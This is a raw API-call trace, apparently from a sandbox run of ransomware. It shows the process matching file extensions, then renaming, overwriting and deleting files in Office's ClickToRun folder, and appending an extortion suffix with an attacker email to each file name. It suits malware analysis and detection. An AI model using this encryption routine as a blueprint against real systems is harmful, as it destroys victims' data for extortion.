	[0084.987] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0084.987] lstrlenW (lpString=".ppt") returned 4
	[0084.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.987] lstrlenW (lpString=".zip") returned 4
	[0084.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.987] lstrlenW (lpString=".rar") returned 4
	[0084.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.987] lstrlenW (lpString=".bz2") returned 4
	[0084.988] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.988] lstrlenW (lpString=".7z") returned 3
	[0084.988] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.988] lstrlenW (lpString=".dbf") returned 4
	[0084.988] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.988] lstrlenW (lpString=".1cd") returned 4
	[0084.988] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.988] lstrlenW (lpString=".jpg") returned 4
	[0084.988] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.988] lstrlenW (lpString=".doc") returned 4
	[0084.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString=".docx") returned 5
	[0084.988] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0084.988] lstrlenW (lpString=".pdf") returned 4
	[0084.988] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString=".xls") returned 4
	[0084.988] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString=".xlsx") returned 5
	[0084.988] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0084.988] lstrlenW (lpString=".ppt") returned 4
	[0084.988] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.989] lstrlenW (lpString=".zip") returned 4
	[0084.989] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".rar") returned 4
	[0084.989] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".bz2") returned 4
	[0084.989] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.989] lstrlenW (lpString=".7z") returned 3
	[0084.989] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.989] lstrlenW (lpString=".dbf") returned 4
	[0084.989] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.989] lstrlenW (lpString=".1cd") returned 4
	[0084.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0084.989] lstrlenW (lpString=".jpg") returned 4
	[0084.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.989] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0084.989] lstrlenW (lpString="appvcleaner.exe") returned 15
	[0084.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.990] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2054872) returned 1
	[0085.640] CloseHandle (hObject=0x374) returned 1
	[0085.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20
	[0085.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0085.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0085.662] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0x0) returned 1
	[0085.663] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.663] ReadFile (in: hFile=0x374, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.665] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.666] ReadFile (in: hFile=0x374, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.669] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.669] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.670] ReadFile (in: hFile=0x374, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.687] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.687] WriteFile (in: hFile=0x374, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x350fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fca8*=0xc010a, lpOverlapped=0x0) returned 1
	[0085.707] SetEndOfFile (hFile=0x374) returned 1
	[0085.707] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3ebb008
	[0086.136] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.136] WriteFile (in: hFile=0x374, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.137] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.137] WriteFile (in: hFile=0x374, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.140] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.140] WriteFile (in: hFile=0x374, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.142] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0086.144] CloseHandle (hObject=0x374) returned 1
	[0086.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0086.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.549] lstrlenW (lpString=".doc") returned 4
	[0086.549] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.549] lstrlenW (lpString=".docx") returned 5
	[0086.549] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0086.549] lstrlenW (lpString=".pdf") returned 4
	[0086.550] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.550] lstrlenW (lpString=".xls") returned 4
	[0086.550] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.550] lstrlenW (lpString=".xlsx") returned 5
	[0086.550] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0086.550] lstrlenW (lpString=".ppt") returned 4
	[0086.550] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.550] lstrlenW (lpString=".zip") returned 4
	[0086.550] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.550] lstrlenW (lpString=".rar") returned 4
	[0086.550] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.550] lstrlenW (lpString=".bz2") returned 4
	[0086.550] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.550] lstrlenW (lpString=".7z") returned 3
	[0086.550] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.550] lstrlenW (lpString=".dbf") returned 4
	[0086.550] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.550] lstrlenW (lpString=".1cd") returned 4
	[0086.550] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.550] lstrlenW (lpString=".jpg") returned 4
	[0086.550] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.550] lstrlenW (lpString=".doc") returned 4
	[0086.550] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.550] lstrlenW (lpString=".docx") returned 5
	[0086.550] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0086.550] lstrlenW (lpString=".pdf") returned 4
	[0086.551] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.551] lstrlenW (lpString=".xls") returned 4
	[0086.551] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.551] lstrlenW (lpString=".xlsx") returned 5
	[0086.551] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0086.551] lstrlenW (lpString=".ppt") returned 4
	[0086.551] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.551] lstrlenW (lpString=".zip") returned 4
	[0086.551] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.551] lstrlenW (lpString=".rar") returned 4
	[0086.551] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.551] lstrlenW (lpString=".bz2") returned 4
	[0086.551] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.551] lstrlenW (lpString=".7z") returned 3
	[0086.551] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.551] lstrlenW (lpString=".dbf") returned 4
	[0086.551] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.551] lstrlenW (lpString=".1cd") returned 4
	[0086.551] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0086.551] lstrlenW (lpString=".jpg") returned 4
	[0086.551] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.551] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0086.551] lstrlenW (lpString="C2R32.dll") returned 9
	[0086.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0086.552] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=820416) returned 1
	[0086.552] CloseHandle (hObject=0x374) returned 1
	[0086.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20
	[0086.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0086.558] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.558] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.558] GetLastError () returned 0x0
	[0086.558] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xc84c0, lpOverlapped=0x0) returned 1
	[0087.061] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xc84d0, lpOverlapped=0x0) returned 1
	[0087.118] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.118] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0087.118] SetEndOfFile (hFile=0x35c) returned 1
	[0087.118] CloseHandle (hObject=0x35c) returned 1
	[0088.045] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.045] SetEndOfFile (hFile=0x374) returned 1
	[0088.052] CloseHandle (hObject=0x374) returned 1
	[0088.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.055] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1
	[0088.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.055] lstrlenW (lpString=".doc") returned 4
	[0088.055] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString=".docx") returned 5
	[0088.056] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0088.056] lstrlenW (lpString=".pdf") returned 4
	[0088.056] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString=".xls") returned 4
	[0088.056] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString=".xlsx") returned 5
	[0088.056] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0088.056] lstrlenW (lpString=".ppt") returned 4
	[0088.056] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.056] lstrlenW (lpString=".zip") returned 4
	[0088.056] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString=".rar") returned 4
	[0088.056] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString=".bz2") returned 4
	[0088.056] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.056] lstrlenW (lpString=".7z") returned 3
	[0088.056] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.056] lstrlenW (lpString=".dbf") returned 4
	[0088.056] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.056] lstrlenW (lpString=".1cd") returned 4
	[0088.056] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.056] lstrlenW (lpString=".jpg") returned 4
	[0088.056] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.056] lstrlenW (lpString=".doc") returned 4
	[0088.056] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.056] lstrlenW (lpString=".docx") returned 5
	[0088.056] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0088.056] lstrlenW (lpString=".pdf") returned 4
	[0088.057] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.057] lstrlenW (lpString=".xls") returned 4
	[0088.057] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.057] lstrlenW (lpString=".xlsx") returned 5
	[0088.057] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0088.057] lstrlenW (lpString=".ppt") returned 4
	[0088.057] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.057] lstrlenW (lpString=".zip") returned 4
	[0088.057] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.057] lstrlenW (lpString=".rar") returned 4
	[0088.057] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.057] lstrlenW (lpString=".bz2") returned 4
	[0088.057] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.057] lstrlenW (lpString=".7z") returned 3
	[0088.057] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.057] lstrlenW (lpString=".dbf") returned 4
	[0088.057] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.057] lstrlenW (lpString=".1cd") returned 4
	[0088.057] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0088.057] lstrlenW (lpString=".jpg") returned 4
	[0088.057] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.057] lstrcmpiW (lpString1=".hash", lpString2=".Z9") returned -1
	[0088.057] lstrlenW (lpString="i641033.hash") returned 12
	[0088.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0088.058] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=102) returned 1
	[0088.058] CloseHandle (hObject=0x374) returned 1
	[0088.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20
	[0088.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0088.058] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.058] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.059] GetLastError () returned 0x0
	[0088.059] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x66, lpOverlapped=0x0) returned 1
	[0088.060] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x70, lpOverlapped=0x0) returned 1
	[0088.060] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.061] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.061] SetEndOfFile (hFile=0x35c) returned 1
	[0088.061] CloseHandle (hObject=0x35c) returned 1
	[0088.062] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.062] SetEndOfFile (hFile=0x374) returned 1
	[0088.063] CloseHandle (hObject=0x374) returned 1
	[0088.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
